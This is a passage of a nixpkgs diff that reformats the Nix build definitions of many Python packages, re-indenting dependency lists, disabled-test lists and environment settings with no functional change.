+  ++ lib.optionals (pythonAtLeast "3.12") [
+    # AttributeError: 'called_once_with' is not a valid assertion.
+    # Use a spec for the mock if 'called_once_with' is meant to be an attribute..
+    # Did you mean: 'assert_called_once_with'?
+    "test_custom_issue_manager_not_registered"
+  ];
 
   disabledTestPaths = [
     # Requires internet
diff --git a/pkgs/development/python-modules/cli-helpers/default.nix b/pkgs/development/python-modules/cli-helpers/default.nix
index 9dba2d39ff07..9655cd190758 100644
--- a/pkgs/development/python-modules/cli-helpers/default.nix
+++ b/pkgs/development/python-modules/cli-helpers/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
   propagatedBuildInputs = [
     configobj
     tabulate
-  ] ++ tabulate.optional-dependencies.widechars;
+  ]
+  ++ tabulate.optional-dependencies.widechars;
 
   optional-dependencies = {
     styles = [ pygments ];
@@ -35,7 +36,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     mock
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   meta = with lib; {
     description = "Python helpers for common CLI tasks";
diff --git a/pkgs/development/python-modules/click-odoo-contrib/default.nix b/pkgs/development/python-modules/click-odoo-contrib/default.nix
index 0e1cc65445bb..757493c6b4a2 100644
--- a/pkgs/development/python-modules/click-odoo-contrib/default.nix
+++ b/pkgs/development/python-modules/click-odoo-contrib/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
   propagatedBuildInputs = [
     click-odoo
     manifestoo-core
-  ] ++ lib.optionals (pythonOlder "3.9") [ importlib-resources ];
+  ]
+  ++ lib.optionals (pythonOlder "3.9") [ importlib-resources ];
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/development/python-modules/clickhouse-connect/default.nix b/pkgs/development/python-modules/clickhouse-connect/default.nix
index 5c13eeb4f348..3600ddedd7fe 100644
--- a/pkgs/development/python-modules/clickhouse-connect/default.nix
+++ b/pkgs/development/python-modules/clickhouse-connect/default.nix
@@ -50,13 +50,12 @@ buildPythonPackage rec {
     lz4
   ];
 
-  nativeCheckInputs =
-    [
-      pytestCheckHook
-      pytest-dotenv
-    ]
-    ++ optional-dependencies.sqlalchemy
-    ++ optional-dependencies.numpy;
+  nativeCheckInputs = [
+    pytestCheckHook
+    pytest-dotenv
+  ]
+  ++ optional-dependencies.sqlalchemy
+  ++ optional-dependencies.numpy;
 
   # these tests require a running clickhouse instance
   disabledTestPaths = [
diff --git a/pkgs/development/python-modules/cloudpathlib/default.nix b/pkgs/development/python-modules/cloudpathlib/default.nix
index 61a65025bf79..ba65ca6185b1 100644
--- a/pkgs/development/python-modules/cloudpathlib/default.nix
+++ b/pkgs/development/python-modules/cloudpathlib/default.nix
@@ -68,7 +68,8 @@ buildPythonPackage rec {
     python-dotenv
     shortuuid
     tenacity
-  ] ++ optional-dependencies.all;
+  ]
+  ++ optional-dependencies.all;
 
   meta = with lib; {
     description = "Python pathlib-style classes for cloud storage services such as Amazon S3, Azure Blob Storage, and Google Cloud Storage";
diff --git a/pkgs/development/python-modules/cmd2/default.nix b/pkgs/development/python-modules/cmd2/default.nix
index ea1ee3098074..85b0b89e3087 100644
--- a/pkgs/development/python-modules/cmd2/default.nix
+++ b/pkgs/development/python-modules/cmd2/default.nix
@@ -46,7 +46,8 @@ buildPythonPackage rec {
     colorama
     pyperclip
     wcwidth
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin gnureadline;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin gnureadline;
 
   doCheck = !stdenv.hostPlatform.isDarwin;
 
diff --git a/pkgs/development/python-modules/cmdstanpy/default.nix b/pkgs/development/python-modules/cmdstanpy/default.nix
index 439b1c255307..6a9a2df2a11b 100644
--- a/pkgs/development/python-modules/cmdstanpy/default.nix
+++ b/pkgs/development/python-modules/cmdstanpy/default.nix
@@ -66,19 +66,18 @@ buildPythonPackage rec {
     "test/test_cxx_installation.py"
   ];
 
-  disabledTests =
-    [
-      "test_serialization" # Pickle class mismatch errors
-      # These tests use the flag -DSTAN_THREADS which doesn't work in cmdstan (missing file)
-      "test_multi_proc_threads"
-      "test_compile_force"
-      # These tests require a writeable cmdstan source directory
-      "test_pathfinder_threads"
-      "test_save_profile"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "test_init_types" # CmdStan error: error during processing Operation not permitted
-    ];
+  disabledTests = [
+    "test_serialization" # Pickle class mismatch errors
+    # These tests use the flag -DSTAN_THREADS which doesn't work in cmdstan (missing file)
+    "test_multi_proc_threads"
+    "test_compile_force"
+    # These tests require a writeable cmdstan source directory
+    "test_pathfinder_threads"
+    "test_save_profile"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "test_init_types" # CmdStan error: error during processing Operation not permitted
+  ];
 
   pythonImportsCheck = [ "cmdstanpy" ];
 
diff --git a/pkgs/development/python-modules/coffea/default.nix b/pkgs/development/python-modules/coffea/default.nix
index 9f304d6fe416..929a3be9e426 100644
--- a/pkgs/development/python-modules/coffea/default.nix
+++ b/pkgs/development/python-modules/coffea/default.nix
@@ -86,7 +86,8 @@ buildPythonPackage rec {
     tqdm
     uproot
     vector
-  ] ++ dask.optional-dependencies.array;
+  ]
+  ++ dask.optional-dependencies.array;
 
   nativeCheckInputs = [
     distributed
diff --git a/pkgs/development/python-modules/coinmetrics-api-client/default.nix b/pkgs/development/python-modules/coinmetrics-api-client/default.nix
index 23e912ca6577..877954e266b9 100644
--- a/pkgs/development/python-modules/coinmetrics-api-client/default.nix
+++ b/pkgs/development/python-modules/coinmetrics-api-client/default.nix
@@ -52,7 +52,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     pytest-mock
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "coinmetrics.api_client" ];
 
diff --git a/pkgs/development/python-modules/comicapi/default.nix b/pkgs/development/python-modules/comicapi/default.nix
index 4a6721359728..c7eebd06542a 100644
--- a/pkgs/development/python-modules/comicapi/default.nix
+++ b/pkgs/development/python-modules/comicapi/default.nix
@@ -56,7 +56,8 @@ buildPythonPackage rec {
     all = [
       py7zr
       rarfile
-    ] ++ lib.optional (stdenv.hostPlatform.isDarwin || stdenv.hostPlatform.isLinux) pyicu;
+    ]
+    ++ lib.optional (stdenv.hostPlatform.isDarwin || stdenv.hostPlatform.isLinux) pyicu;
 
     cbr = [ rarfile ];
 
diff --git a/pkgs/development/python-modules/commoncode/default.nix b/pkgs/development/python-modules/commoncode/default.nix
index d231e2d7a9b2..5a90c3bd3a4a 100644
--- a/pkgs/development/python-modules/commoncode/default.nix
+++ b/pkgs/development/python-modules/commoncode/default.nix
@@ -49,21 +49,20 @@ buildPythonPackage rec {
     pytest-xdist
   ];
 
-  disabledTests =
-    [
-      # chinese character translates different into latin
-      "test_safe_path_posix_style_chinese_char"
-      # OSError: [Errno 84] Invalid or incomplete multibyte or wide character
-      "test_os_walk_can_walk_non_utf8_path_from_unicode_path"
-      "test_resource_iter_can_walk_non_utf8_path_from_unicode_path"
-      "test_walk_can_walk_non_utf8_path_from_unicode_path"
-      "test_resource_iter_can_walk_non_utf8_path_from_unicode_path_with_dirs"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # expected result is tailored towards the quirks of upstream's
-      # CI environment on darwin
-      "test_searchable_paths"
-    ];
+  disabledTests = [
+    # chinese character translates different into latin
+    "test_safe_path_posix_style_chinese_char"
+    # OSError: [Errno 84] Invalid or incomplete multibyte or wide character
+    "test_os_walk_can_walk_non_utf8_path_from_unicode_path"
+    "test_resource_iter_can_walk_non_utf8_path_from_unicode_path"
+    "test_walk_can_walk_non_utf8_path_from_unicode_path"
+    "test_resource_iter_can_walk_non_utf8_path_from_unicode_path_with_dirs"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # expected result is tailored towards the quirks of upstream's
+    # CI environment on darwin
+    "test_searchable_paths"
+  ];
 
   pythonImportsCheck = [ "commoncode" ];
 
diff --git a/pkgs/development/python-modules/configargparse/default.nix b/pkgs/development/python-modules/configargparse/default.nix
index 8f9a2bee6135..9018ea691faa 100644
--- a/pkgs/development/python-modules/configargparse/default.nix
+++ b/pkgs/development/python-modules/configargparse/default.nix
@@ -35,7 +35,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     mock
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   disabledTests = lib.optionals (pythonAtLeast "3.13") [
     # regex mismatch
diff --git a/pkgs/development/python-modules/confluent-kafka/default.nix b/pkgs/development/python-modules/confluent-kafka/default.nix
index c5ae7416f29d..f55633b4a3c6 100644
--- a/pkgs/development/python-modules/confluent-kafka/default.nix
+++ b/pkgs/development/python-modules/confluent-kafka/default.nix
@@ -83,7 +83,8 @@ buildPythonPackage rec {
     pytestCheckHook
     requests-mock
     respx
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "confluent_kafka" ];
 
diff --git a/pkgs/development/python-modules/connected-components-3d/default.nix b/pkgs/development/python-modules/connected-components-3d/default.nix
index 07097becde00..cd5e230deea6 100644
--- a/pkgs/development/python-modules/connected-components-3d/default.nix
+++ b/pkgs/development/python-modules/connected-components-3d/default.nix
@@ -42,7 +42,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     scipy
-  ] ++ optional-dependencies.stack;
+  ]
+  ++ optional-dependencies.stack;
 
   disabledTests = [
     # requires optional dependency crackle-codec (not in nixpkgs)
diff --git a/pkgs/development/python-modules/connexion/default.nix b/pkgs/development/python-modules/connexion/default.nix
index bd98705e3c8d..21a529d5fd83 100644
--- a/pkgs/development/python-modules/connexion/default.nix
+++ b/pkgs/development/python-modules/connexion/default.nix
@@ -76,23 +76,23 @@ buildPythonPackage rec {
     pytest-aiohttp
     pytestCheckHook
     testfixtures
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "connexion" ];
 
-  disabledTests =
-    [
-      "test_build_example"
-      "test_mock_resolver_no_example"
-      "test_sort_apis_by_basepath"
-      "test_sort_routes"
-      # Tests require network access
-      "test_remote_api"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # ImportError: Error while finding loader for '/private/tmp/nix-build-python3.12-connexion-3.1.0.drv-0/source' (<class 'ModuleNotFoundError'>: No module named '/private/tmp/nix-build-python3')
-      "test_lifespan"
-    ];
+  disabledTests = [
+    "test_build_example"
+    "test_mock_resolver_no_example"
+    "test_sort_apis_by_basepath"
+    "test_sort_routes"
+    # Tests require network access
+    "test_remote_api"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # ImportError: Error while finding loader for '/private/tmp/nix-build-python3.12-connexion-3.1.0.drv-0/source' (<class 'ModuleNotFoundError'>: No module named '/private/tmp/nix-build-python3')
+    "test_lifespan"
+  ];
 
   meta = {
     description = "Swagger/OpenAPI First framework on top of Flask";
diff --git a/pkgs/development/python-modules/constantly/default.nix b/pkgs/development/python-modules/constantly/default.nix
index 42d8e96b3889..ac1474bc1a87 100644
--- a/pkgs/development/python-modules/constantly/default.nix
+++ b/pkgs/development/python-modules/constantly/default.nix
@@ -30,7 +30,8 @@ let
     nativeBuildInputs = [
       setuptools
       versioneer
-    ] ++ versioneer.optional-dependencies.toml;
+    ]
+    ++ versioneer.optional-dependencies.toml;
 
     # would create dependency loop with twisted
     doCheck = false;
diff --git a/pkgs/development/python-modules/construct-typing/default.nix b/pkgs/development/python-modules/construct-typing/default.nix
index 7253c51d6978..d56525e538fa 100644
--- a/pkgs/development/python-modules/construct-typing/default.nix
+++ b/pkgs/development/python-modules/construct-typing/default.nix
@@ -47,17 +47,16 @@ buildPythonPackage rec {
     ruamel-yaml
   ];
 
-  disabledTests =
-    [
-      # tests fail with construct>=2.10.70
-      "test_bitsinteger"
-      "test_bytesinteger"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # https://github.com/timrid/construct-typing/issues/31
-      "test_tenum_docstring"
-      "test_tenum_flags_docstring"
-    ];
+  disabledTests = [
+    # tests fail with construct>=2.10.70
+    "test_bitsinteger"
+    "test_bytesinteger"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # https://github.com/timrid/construct-typing/issues/31
+    "test_tenum_docstring"
+    "test_tenum_flags_docstring"
+  ];
 
   meta = {
     changelog = "https://github.com/timrid/construct-typing/releases/tag/v${version}";
diff --git a/pkgs/development/python-modules/construct/default.nix b/pkgs/development/python-modules/construct/default.nix
index 780f973e8a8c..98bc1d47d66e 100644
--- a/pkgs/development/python-modules/construct/default.nix
+++ b/pkgs/development/python-modules/construct/default.nix
@@ -47,13 +47,15 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "construct" ];
 
   disabledTests = [
     "test_benchmarks"
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_multiprocessing" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_multiprocessing" ];
 
   meta = with lib; {
     description = "Powerful declarative parser (and builder) for binary data";
diff --git a/pkgs/development/python-modules/controku/default.nix b/pkgs/development/python-modules/controku/default.nix
index 9aff50bfc087..83aaf6a8118d 100644
--- a/pkgs/development/python-modules/controku/default.nix
+++ b/pkgs/development/python-modules/controku/default.nix
@@ -25,23 +25,23 @@ buildPythonPackage rec {
     hash = "sha256-sye2GtL3a77pygllZc6ylaIP7faPb+NFbyKKyqJzIXw=";
   };
 
-  nativeBuildInputs =
-    [ setuptools ]
-    ++ lib.optionals buildApplication [
-      gobject-introspection
-      wrapGAppsHook3
-    ];
+  nativeBuildInputs = [
+    setuptools
+  ]
+  ++ lib.optionals buildApplication [
+    gobject-introspection
+    wrapGAppsHook3
+  ];
 
-  propagatedBuildInputs =
-    [
-      requests
-      ssdpy
-    ]
-    ++ lib.optionals buildApplication [
-      gtk3
-      appdirs
-      pygobject3
-    ];
+  propagatedBuildInputs = [
+    requests
+    ssdpy
+  ]
+  ++ lib.optionals buildApplication [
+    gtk3
+    appdirs
+    pygobject3
+  ];
 
   pythonImportsCheck = [ "controku" ];
 
diff --git a/pkgs/development/python-modules/corallium/default.nix b/pkgs/development/python-modules/corallium/default.nix
index ca85cdde1f6f..a85369e4dea8 100644
--- a/pkgs/development/python-modules/corallium/default.nix
+++ b/pkgs/development/python-modules/corallium/default.nix
@@ -25,15 +25,14 @@ buildPythonPackage rec {
     poetry-core
   ];
 
-  dependencies =
-    [
-      beartype
-      pydantic
-      rich
-    ]
-    ++ lib.optionals (python.pythonOlder "3.11") [
-      tomli
-    ];
+  dependencies = [
+    beartype
+    pydantic
+    rich
+  ]
+  ++ lib.optionals (python.pythonOlder "3.11") [
+    tomli
+  ];
 
   meta = with lib; {
     description = "Shared functionality for calcipy-ecosystem";
diff --git a/pkgs/development/python-modules/cot/default.nix b/pkgs/development/python-modules/cot/default.nix
index 5f28ef159c4d..a7c9a75dbfe2 100644
--- a/pkgs/development/python-modules/cot/default.nix
+++ b/pkgs/development/python-modules/cot/default.nix
@@ -77,7 +77,8 @@ buildPythonPackage rec {
     "test_serial_fixup_stubbed"
     "test_serial_fixup_stubbed_create"
     "test_serial_fixup_stubbed_vm_not_found"
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_serial_fixup_invalid_host" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_serial_fixup_invalid_host" ];
 
   pythonImportsCheck = [ "COT" ];
 
diff --git a/pkgs/development/python-modules/craft-application/default.nix b/pkgs/development/python-modules/craft-application/default.nix
index 6b2d0ea7e1e2..0523be999f91 100644
--- a/pkgs/development/python-modules/craft-application/default.nix
+++ b/pkgs/development/python-modules/craft-application/default.nix
@@ -96,26 +96,25 @@ buildPythonPackage rec {
 
   pytestFlagsArray = [ "tests/unit" ];
 
-  disabledTests =
-    [
-      "test_to_yaml_file"
-      # Tests expecting pytest-time
-      "test_monitor_builds_success"
-      # Temporary fix until new release to support Python 3.13
-      "test_grammar_aware_part_error"
-      "test_grammar_aware_part_error[part2]"
-      "test_grammar_aware_project_error[project0]"
-      # Temp fix - asserts fail against error messages which have changed
-      # slightly in a later revision of craft-platforms. No functional error.
-      "test_platform_invalid_arch"
-      "test_platform_invalid_build_arch"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch64 [
-      # These tests have hardcoded "amd64" strings which fail on aarch64
-      "test_process_grammar_build_for"
-      "test_process_grammar_platform"
-      "test_process_grammar_default"
-    ];
+  disabledTests = [
+    "test_to_yaml_file"
+    # Tests expecting pytest-time
+    "test_monitor_builds_success"
+    # Temporary fix until new release to support Python 3.13
+    "test_grammar_aware_part_error"
+    "test_grammar_aware_part_error[part2]"
+    "test_grammar_aware_project_error[project0]"
+    # Temp fix - asserts fail against error messages which have changed
+    # slightly in a later revision of craft-platforms. No functional error.
+    "test_platform_invalid_arch"
+    "test_platform_invalid_build_arch"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [
+    # These tests have hardcoded "amd64" strings which fail on aarch64
+    "test_process_grammar_build_for"
+    "test_process_grammar_platform"
+    "test_process_grammar_default"
+  ];
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/development/python-modules/craft-parts/default.nix b/pkgs/development/python-modules/craft-parts/default.nix
index 585e66d25fa1..f6c45cf624bd 100644
--- a/pkgs/development/python-modules/craft-parts/default.nix
+++ b/pkgs/development/python-modules/craft-parts/default.nix
@@ -94,24 +94,23 @@ buildPythonPackage rec {
     "test_java_plugin_jre_not_17"
   ];
 
-  disabledTestPaths =
-    [
-      # Relies upon filesystem extended attributes, and suid/guid bits
-      "tests/unit/sources/test_base.py"
-      "tests/unit/packages/test_base.py"
-      "tests/unit/state_manager"
-      "tests/unit/test_xattrs.py"
-      "tests/unit/packages/test_normalize.py"
-      # Relies upon presence of apt/dpkg.
-      "tests/unit/packages/test_apt_cache.py"
-      "tests/unit/packages/test_deb.py"
-      "tests/unit/packages/test_chisel.py"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch64 [
-      # These tests have hardcoded "amd64" strings which fail on aarch64
-      "tests/unit/executor/test_environment.py"
-      "tests/unit/features/overlay/test_executor_environment.py"
-    ];
+  disabledTestPaths = [
+    # Relies upon filesystem extended attributes, and suid/guid bits
+    "tests/unit/sources/test_base.py"
+    "tests/unit/packages/test_base.py"
+    "tests/unit/state_manager"
+    "tests/unit/test_xattrs.py"
+    "tests/unit/packages/test_normalize.py"
+    # Relies upon presence of apt/dpkg.
+    "tests/unit/packages/test_apt_cache.py"
+    "tests/unit/packages/test_deb.py"
+    "tests/unit/packages/test_chisel.py"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [
+    # These tests have hardcoded "amd64" strings which fail on aarch64
+    "tests/unit/executor/test_environment.py"
+    "tests/unit/features/overlay/test_executor_environment.py"
+  ];
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/development/python-modules/cryptography/default.nix b/pkgs/development/python-modules/cryptography/default.nix
index c358750961a4..f240ad04d10d 100644
--- a/pkgs/development/python-modules/cryptography/default.nix
+++ b/pkgs/development/python-modules/cryptography/default.nix
@@ -51,14 +51,16 @@ buildPythonPackage rec {
     rustPlatform.maturinBuildHook
     pkg-config
     setuptools
-  ] ++ lib.optionals (!isPyPy) [ cffi ];
+  ]
+  ++ lib.optionals (!isPyPy) [ cffi ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ]
-    ++ lib.optionals (pythonOlder "3.9") [ libxcrypt ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ]
+  ++ lib.optionals (pythonOlder "3.9") [ libxcrypt ];
 
   dependencies = lib.optionals (!isPyPy) [ cffi ];
 
@@ -70,7 +72,8 @@ buildPythonPackage rec {
     pretend
     pytestCheckHook
     pytest-xdist
-  ] ++ optional-dependencies.ssh;
+  ]
+  ++ optional-dependencies.ssh;
 
   pytestFlagsArray = [ "--disable-pytest-warnings" ];
 
diff --git a/pkgs/development/python-modules/css-inline/default.nix b/pkgs/development/python-modules/css-inline/default.nix
index dffc8a82ca19..1b076afd21c8 100644
--- a/pkgs/development/python-modules/css-inline/default.nix
+++ b/pkgs/development/python-modules/css-inline/default.nix
@@ -60,16 +60,15 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTests =
-    [
-      # fails to connect to local server
-      "test_cache"
-      "test_remote_stylesheet"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
-      # pyo3_runtime.PanicException: event loop thread panicked
-      "test_invalid_href"
-    ];
+  disabledTests = [
+    # fails to connect to local server
+    "test_cache"
+    "test_remote_stylesheet"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
+    # pyo3_runtime.PanicException: event loop thread panicked
+    "test_invalid_href"
+  ];
 
   meta = with lib; {
     description = "Inline CSS into style attributes";
diff --git a/pkgs/development/python-modules/cssutils/default.nix b/pkgs/development/python-modules/cssutils/default.nix
index d20dafc4cff2..54dcad2456dd 100644
--- a/pkgs/development/python-modules/cssutils/default.nix
+++ b/pkgs/development/python-modules/cssutils/default.nix
@@ -37,7 +37,8 @@ buildPythonPackage rec {
     lxml
     mock
     pytestCheckHook
-  ] ++ lib.optionals (pythonOlder "3.9") [ importlib-resources ];
+  ]
+  ++ lib.optionals (pythonOlder "3.9") [ importlib-resources ];
 
   disabledTests = [
     # access network
diff --git a/pkgs/development/python-modules/csvw/default.nix b/pkgs/development/python-modules/csvw/default.nix
index be429844d13d..600465a447a8 100644
--- a/pkgs/development/python-modules/csvw/default.nix
+++ b/pkgs/development/python-modules/csvw/default.nix
@@ -45,18 +45,17 @@ buildPythonPackage rec {
       --replace "--cov" ""
   '';
 
-  disabledTests =
-    [
-      # this test is flaky on darwin because it depends on the resolution of filesystem mtimes
-      # https://github.com/cldf/csvw/blob/45584ad63ff3002a9b3a8073607c1847c5cbac58/tests/test_db.py#L257
-      "test_write_file_exists"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.10") [
-      # https://github.com/cldf/csvw/issues/58
-      "test_roundtrip_escapechar"
-      "test_escapequote_escapecharquotechar_final"
-      "test_doubleQuote"
-    ];
+  disabledTests = [
+    # this test is flaky on darwin because it depends on the resolution of filesystem mtimes
+    # https://github.com/cldf/csvw/blob/45584ad63ff3002a9b3a8073607c1847c5cbac58/tests/test_db.py#L257
+    "test_write_file_exists"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.10") [
+    # https://github.com/cldf/csvw/issues/58
+    "test_roundtrip_escapechar"
+    "test_escapequote_escapecharquotechar_final"
+    "test_doubleQuote"
+  ];
 
   pythonImportsCheck = [ "csvw" ];
 
diff --git a/pkgs/development/python-modules/cu2qu/default.nix b/pkgs/development/python-modules/cu2qu/default.nix
index 27faeab92bd4..2d13183725d3 100644
--- a/pkgs/development/python-modules/cu2qu/default.nix
+++ b/pkgs/development/python-modules/cu2qu/default.nix
@@ -39,7 +39,8 @@ buildPythonPackage rec {
   propagatedBuildInputs = [
     defcon
     fonttools
-  ] ++ fonttools.optional-dependencies.ufo;
+  ]
+  ++ fonttools.optional-dependencies.ufo;
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/curio/default.nix b/pkgs/development/python-modules/curio/default.nix
index dbdc54f01b5d..1806677f2483 100644
--- a/pkgs/development/python-modules/curio/default.nix
+++ b/pkgs/development/python-modules/curio/default.nix
@@ -30,20 +30,19 @@ buildPythonPackage rec {
 
   __darwinAllowLocalNetworking = true;
 
-  disabledTests =
-    [
-      "test_cpu" # timing sensitive
-      "test_aside_basic" # times out
-      "test_write_timeout" # flaky, does not always time out
-      "test_aside_cancel" # fails because modifies PYTHONPATH and cant find pytest
-      "test_ssl_outgoing" # touches network
-      "test_unix_echo" # socket bind error on hydra when built with other packages
-      "test_unix_ssl_server" # socket bind error on hydra when built with other packages
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # connects to python.org:1, expects an OsError, hangs in the darwin sandbox
-      "test_create_bad_connection"
-    ];
+  disabledTests = [
+    "test_cpu" # timing sensitive
+    "test_aside_basic" # times out
+    "test_write_timeout" # flaky, does not always time out
+    "test_aside_cancel" # fails because modifies PYTHONPATH and cant find pytest
+    "test_ssl_outgoing" # touches network
+    "test_unix_echo" # socket bind error on hydra when built with other packages
+    "test_unix_ssl_server" # socket bind error on hydra when built with other packages
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # connects to python.org:1, expects an OsError, hangs in the darwin sandbox
+    "test_create_bad_connection"
+  ];
 
   pythonImportsCheck = [ "curio" ];
 
diff --git a/pkgs/development/python-modules/cvxopt/default.nix b/pkgs/development/python-modules/cvxopt/default.nix
index 1e79a8eebb1f..a5a5f32c6584 100644
--- a/pkgs/development/python-modules/cvxopt/default.nix
+++ b/pkgs/development/python-modules/cvxopt/default.nix
@@ -39,30 +39,29 @@ buildPythonPackage rec {
 
   # similar to Gsl, glpk, fftw there is also a dsdp interface
   # but dsdp is not yet packaged in nixpkgs
-  env =
-    {
-      CVXOPT_BLAS_LIB = "blas";
-      CVXOPT_LAPACK_LIB = "lapack";
-      CVXOPT_BUILD_DSDP = "0";
-      CVXOPT_SUITESPARSE_LIB_DIR = "${lib.getLib suitesparse}/lib";
-      CVXOPT_SUITESPARSE_INC_DIR = "${lib.getDev suitesparse}/include";
-      SETUPTOOLS_SCM_PRETEND_VERSION = version;
-    }
-    // lib.optionalAttrs withGsl {
-      CVXOPT_BUILD_GSL = "1";
-      CVXOPT_GSL_LIB_DIR = "${lib.getLib gsl}/lib";
-      CVXOPT_GSL_INC_DIR = "${lib.getDev gsl}/include";
-    }
-    // lib.optionalAttrs withGlpk {
-      CVXOPT_BUILD_GLPK = "1";
-      CVXOPT_GLPK_LIB_DIR = "${lib.getLib glpk}/lib";
-      CVXOPT_GLPK_INC_DIR = "${lib.getDev glpk}/include";
-    }
-    // lib.optionalAttrs withFftw {
-      CVXOPT_BUILD_FFTW = "1";
-      CVXOPT_FFTW_LIB_DIR = "${lib.getLib fftw}/lib";
-      CVXOPT_FFTW_INC_DIR = "${lib.getDev fftw}/include";
-    };
+  env = {
+    CVXOPT_BLAS_LIB = "blas";
+    CVXOPT_LAPACK_LIB = "lapack";
+    CVXOPT_BUILD_DSDP = "0";
+    CVXOPT_SUITESPARSE_LIB_DIR = "${lib.getLib suitesparse}/lib";
+    CVXOPT_SUITESPARSE_INC_DIR = "${lib.getDev suitesparse}/include";
+    SETUPTOOLS_SCM_PRETEND_VERSION = version;
+  }
+  // lib.optionalAttrs withGsl {
+    CVXOPT_BUILD_GSL = "1";
+    CVXOPT_GSL_LIB_DIR = "${lib.getLib gsl}/lib";
+    CVXOPT_GSL_INC_DIR = "${lib.getDev gsl}/include";
+  }
+  // lib.optionalAttrs withGlpk {
+    CVXOPT_BUILD_GLPK = "1";
+    CVXOPT_GLPK_LIB_DIR = "${lib.getLib glpk}/lib";
+    CVXOPT_GLPK_INC_DIR = "${lib.getDev glpk}/include";
+  }
+  // lib.optionalAttrs withFftw {
+    CVXOPT_BUILD_FFTW = "1";
+    CVXOPT_FFTW_LIB_DIR = "${lib.getLib fftw}/lib";
+    CVXOPT_FFTW_INC_DIR = "${lib.getDev fftw}/include";
+  };
 
   nativeCheckInputs = [ unittestCheckHook ];
 
diff --git a/pkgs/development/python-modules/cx-freeze/default.nix b/pkgs/development/python-modules/cx-freeze/default.nix
index 7d56ee98f2c8..6fc28350cff9 100644
--- a/pkgs/development/python-modules/cx-freeze/default.nix
+++ b/pkgs/development/python-modules/cx-freeze/default.nix
@@ -53,22 +53,21 @@ buildPythonPackage rec {
 
   pythonRemoveDeps = [ "patchelf" ];
 
-  dependencies =
-    [
-      distutils
-      filelock
-      packaging
-      setuptools
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [
-      tomli
-    ]
-    ++ lib.optionals (pythonOlder "3.10") [
-      typing-extensions
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      dmgbuild
-    ];
+  dependencies = [
+    distutils
+    filelock
+    packaging
+    setuptools
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [
+    tomli
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [
+    typing-extensions
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    dmgbuild
+  ];
 
   makeWrapperArgs = [
     "--prefix"
@@ -94,58 +93,57 @@ buildPythonPackage rec {
     rm -rf cx_Freeze
   '';
 
-  disabledTests =
-    [
-      # Require internet access
-      "test_bdist_appimage_target_name"
-      "test_bdist_appimage_target_name_and_version"
-      "test_bdist_appimage_target_name_and_version_none"
+  disabledTests = [
+    # Require internet access
+    "test_bdist_appimage_target_name"
+    "test_bdist_appimage_target_name_and_version"
+    "test_bdist_appimage_target_name_and_version_none"
 
-      # Try to install a module: ValueError: ZIP does not support timestamps before 1980
-      "test___main__"
-      "test_bdist_appimage_simple"
-      "test_bdist_appimage_skip_build"
-      "test_bdist_deb_simple_pyproject"
